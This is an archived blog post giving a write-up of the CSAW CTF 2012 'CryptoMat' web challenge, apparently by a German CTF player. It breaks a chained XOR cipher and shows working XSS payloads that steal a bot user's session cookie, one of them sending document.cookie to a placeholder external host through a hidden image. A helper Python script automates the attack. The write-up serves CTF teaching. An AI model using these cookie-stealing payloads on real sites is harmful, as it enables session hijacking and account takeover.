💾 Archived View for airmack.de › single › 7425f6d74502582d26cbec503f9d76ff11d234289a6d2a233ecb470170… captured on 2021-12-04 at 18:04:22. Gemini links have been rewritten to link to archived content

-=-=-=-=-=-=-


░█▀█░▀█▀░█▀▄░█▄█░█▀█░█▀▀░█░█░░░░█▀▄░█▀▀
░█▀█░░█░░█▀▄░█░█░█▀█░█░░░█▀▄░░░░█░█░█▀▀
░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░▀▀▀░▀░▀░▀░░▀▀░░▀▀▀

CSAW CTF 2012 CryptoMat(web400) writeup

Aus der Kategorie Hacking

Begin

Register at http://128.238.66.214/login.php Send yourself messages until you figure out how the algorithm for encrypting works.

Cipher

In short, it is an XOR algorithm which works like this

Code


enc[0] = IV ^ KEY ^ PLAINTEXT[0] # PLAINTEXT[0] and enc[0] is equal 8bytes
enc[1] = KEY ^ enc[0] ^ PLAINTEXT[1]
enc[2] = KEY ^ enc[1] ^ PLAINTEXT[2]
...

This works both ways for encrypting and decrypting. The IV can be found out relative easily we set PLAINTEXT[0] = KEY and we get the following IV ['0x17', '0x34', '0x17', '0x39', '0x11', '0x35', '0x24', '0x36'].## XSS

We can now proceed to get Dogs' SessionID. After injecting

Code


<form id="f" method="POST" action="compose.php">
  <input name="to" value="test12">
  <input name="title" value="pw">
  <input name="key" value="a">
  <input name="text" id="t">
</form>
<script>
  document.getElementById("t").value=document.cookie;document.getElementById("f").submit();
</script>

through the text field, we see... NOTHING. Apparently Dog has read its mail(message changes color when read), but doesn't reply back. The next try looks like this

Code


<script>var url="http://$URL$?session="+document.cookie,theimg = document.createElement("img");theimg.src=url;document.body.appendChild(theimg);theimg.style.display="none";</script>

Meanwhile on the serverside:

>128.238.*.* - - [30/Sep/2012:04:08:56 +0200] "GET /?session=PHPSESSID=****************3208r7aj40 HTTP/1.1" 200 8937 "http://localhost/download.php?id=101649" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1

Hello, yes this is dog

Change your session ID to dog, check messages id 1 to 6 (http://128.238.66.214/download.php?id=)

Code


{
1: "\x1c\x30\x11\x2f\x5c\x67\x0a\x12\x32\x2e\x2b\x14\x79\x4b\x1a\x3a\x15\x1c\x0c\x2a\x53\x5d\x28\x1a\x34\x23\x2e\x1b\x44\x45\x28\x39\x3a\x22\x36\x7a\x33\x20\x5b\x56",
2: "\x17\x75\x56\x78\x50\x74\x65\x77",
3: "\x1d\x19\x2a\x01\x35\x04\x00\x05\x38\x33\x0d\x3d\x11\x2d\x49\x4e",
4: "\x17\x75\x56\x78\x50\x74\x65\x77",
5: "\x61\x47\x61\x4d\x6b\x49\x5a\x5b",
6: "\x17\x75\x56\x78\x50\x74\x65\x77",
}

and check the titles(5 Cat key is ILIKECARROTS). With this key we can read some of the messages and go further into the rabbithole. With the help if the obove key we decrypt all messages which results in one particular message: Catsareawesome.

After decrypting all the messages with this key and we get: Here, KEY{ITHISISAFLOwEERPOTTytPos} . Finished.

Code


#!/usr/bin/env python
# by spq
import re
import urllib

import urllib2


def compose(_to, _title, _key, _text):
  r = opener.open(
    "http://128.238.66.214/compose.php",
    urllib.urlencode({"to": _to, "title": _title, "key": _key, "text": _text}),
  )


def get_last_msgid():
  p = re.compile('download[.]php[?]id=([0-9]+)"')
  last = None
  for m in p.finditer(opener.open("http://128.238.66.214/outbox.php").read()):
    last = m.group(1)
  return last


def get_msg(i):
  r = opener.open("http://128.238.66.214/download.php?id=" + i).read()
  return r[619:-31]


def get_last_msg():
  return get_msg(get_last_msgid())


opener = urllib2.build_opener()
opener.addheaders.append(("Cookie", "PHPSESSID=$SESSSION"))


def xor(a, b):
  assert len(a) == len(b)
  ret = ""
  for i in xrange(0, len(a)):
    ret += chr(ord(a[i]) ^ ord(b[i]))
  return ret


def enc(key, text):
  iv = "\x17\x34\x17\x39\x11\x35\x24\x36"
  result = ""
  while len(text) % 8:
    text += chr("\x00")
  extendedkey = key
  while len(extendedkey) < len(text):
    extendedkey += key
  for i in xrange(0, len(text), 8):
    part = text[i : i + 8]
    result += xor(xor(extendedkey[i : i + 8], iv), part)
    iv = part
  return result


# compose("Dog", "foo", "aabb", enc("aabbaabb",'<form id="f" method="POST" action="compose.php"><input name="to" value="spq"><input name="title" value="pw"><input name="key" value="a"><input name="text" id="t"></form><script>document.getElementById("t").value=document.cookie;document.getElementById("f").submit();</script>'))

# print get_last_msg()

# T= {
#    1: "\x1c\x30\x11\x2f\x5c\x67\x0a\x12\x32\x2e\x2b\x14\x79\x4b\x1a\x3a\x15\x1c\x0c\x2a\x53\x5d\x28\x1a\x34\x23\x2e\x1b\x44\x45\x28\x39\x3a\x22\x36\x7a\x33\x20\x5b\x56",
#    2: "\x17\x75\x56\x78\x50\x74\x65\x77",
#    3: "\x1d\x19\x2a\x01\x35\x04\x00\x05\x38\x33\x0d\x3d\x11\x2d\x49\x4e",
#    4: "\x17\x75\x56\x78\x50\x74\x65\x77",
#    5: "\x61\x47\x61\x4d\x6b\x49\x5a\x5b",
#    6: "\x17\x75\x56\x78\x50\x74\x65\x77",
# }
# for i in range(1,6):
# print enc("ILIKECARROTS", T[i])
# print enc("Catsareawesome", T[i])

Latest article

Project gemini erstellt am 13. Februar 2021

Eat Sleep PWN Repeat erstellt am 07. Dezember 2020

Physico-chemically motivated parameterization and modelling of real-time capable lithium-ion battery models: a case study on the Tesla Model S battery erstellt am 06. Dezember 2020

Breaking out of cisco anyconnect no local network restriction erstellt am 8. April 2018

Insomni Hack 2015(Lost In Memories) writeup erstellt am 23. Maerz 2014

ruCTF 2014(Pidometer) writeup erstellt am 21. Dezember 2014

CMake Matlab/Simulink crosscompiling erstellt am 02. September 2014

Footer